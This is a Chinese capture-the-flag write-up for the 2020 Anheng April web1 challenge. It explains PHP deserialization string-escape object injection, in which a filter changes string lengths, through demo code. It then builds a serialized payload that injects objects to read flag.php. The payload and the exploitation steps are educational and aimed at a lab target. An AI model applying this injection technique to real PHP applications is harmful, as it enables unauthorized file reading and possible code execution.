0%

2020安恒4月月赛web1

2020安恒4月月赛web1-字符串逃逸导致对象注入

首先看一个例子:

<?php
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

运行之后会发现以下几点:

  • 它能够正常反序列化
  • 不存在的属性他也能反序列化

其实这个和PHP反序列化的特性有关:

  • 反序列化时候以分号;作为字段的分隔符,以}作为结束。这也就是解释了上面的序列化值为什么能够正常反序列化,因为}作为了结束符。
  • 类中不存在的属性亦能反序列化

20200427170935

我们再看一个例子:

<?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}
$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; 
$password="aaaaa";
$user = array($username, $password);
echo serialize($user);
echo "\n";
$r = filter(serialize($user));
echo($r);
echo "\n";

var_dump(unserialize($r));

$user在序列化后会是:

a:2:{i:0;s:46:"tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}

这里我们可以发现第二个元素被解析称为aaaa,而;i:1;s:6:"123456";被当做字符串处理了。

a:2:{i:0;s:46:"tr1plezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}

可以观察到x被替换称为两个z,其长度正好是";i:1;s:6:"123456";} 的1倍,也就是四十。

但是为什么它会忽略";i:1;s:5:"aaaaa";} 呢?因为PHP在反序列化时候是不仅仅是根据} 来判定反序列化块的范围,还是根据总字符的长度,原来的长度是80我们在加上20个字符之后正好将后面的给覆盖掉了。于是他只反序列化了前面的部分。

我们再看一个例子,结果却刚好和上面的结果相反:

<?php
$r = 'a:2:{i:0;s:46:"tr1plezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}';
 $r = str_replace('zzzzzzz', chr(0).'*'.chr(0), $r);
 echo $r;
var_dump(unserialize($r));

上面代码替换会减少一半导致:;i:1;s:6:"123456";}" 被吞掉导致最后结果如下:

20200427205958

题目

 <?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a)))); 

这道题和上面的道理一样,这里我们无需考虑类A 只需要考虑B和C。

我们生成一个序列化之后的结果:

O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

我们看我们要吞掉的内容明显是;s:8:"password" 这一块,我们可以传入;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}} 拼接起来成这样:

O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:72:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}"

但是这样是无法getflag的,因为我们传入的payload被" 包裹所以我们要添加一个双引号进行逃逸。

O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:73:"";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}"

那么现在我们需要吞并掉的就是;s:8:"password";s:73:"" ,但是这个长度实23没法整除2,我们需要添加一个字符加起来24.

O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:73:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}"

所以我们最终会构成一个这样的序列化字符块:

O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:74:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}";}

因为需要逃逸24个字符,所以需要48个长度的\0